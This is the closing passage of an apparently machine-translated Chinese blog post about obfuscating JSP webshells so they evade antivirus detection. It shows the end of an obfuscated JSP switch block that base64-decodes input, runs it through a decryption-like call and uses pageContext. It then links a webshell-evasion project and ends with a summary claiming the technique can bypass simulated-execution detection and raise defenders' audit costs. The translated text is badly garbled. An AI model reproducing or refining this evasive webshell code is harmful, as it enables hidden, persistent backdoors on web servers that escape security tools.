            case ((327792 ^ 1385753) ^ (860610 ^ 1901735)):
                fOusiCauDCKbMzDlKvqw = base64Decode(dmjXOSyFxLGKfPNJeVkE);
                break;
            case ((944603 ^ 1361552) ^ (529251 ^ 1227823)):
                AAsWwIQGRxHfKbdqLZev = QTZxUuEMsBJWRNcudHyD.qwer(fOusiCauDCKbMzDlKvqw);
                break;
            case ((1757191 ^ 1036219) ^ (30436 ^ 1403230)):
                if (dmjXOSyFxLGKfPNJeVkE == null) {
                    return;
                }
                break;
            case ((361224 ^ 1559863) ^ (259966 ^ 1161544)):
                BYaCKDJJsTfIPkqUyKoL.equals(pageContext);
                break;
        }
    }
%>

Free to kill the project:

https://github.com/EmYiQing/JSPHorse

总结:

Actually kill technology in existing free add confusion technology not necessarily can improve the ability of free to kill,因为例如method.invokeKey classes and methods such as the call did not change,But it is also a try,Perhaps can bypass some detection on the basis of simulation execution,Can also increase the cost of defenders audit analysis.

原网站

版权声明
本文为[wespten]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/214/202208020248520132.html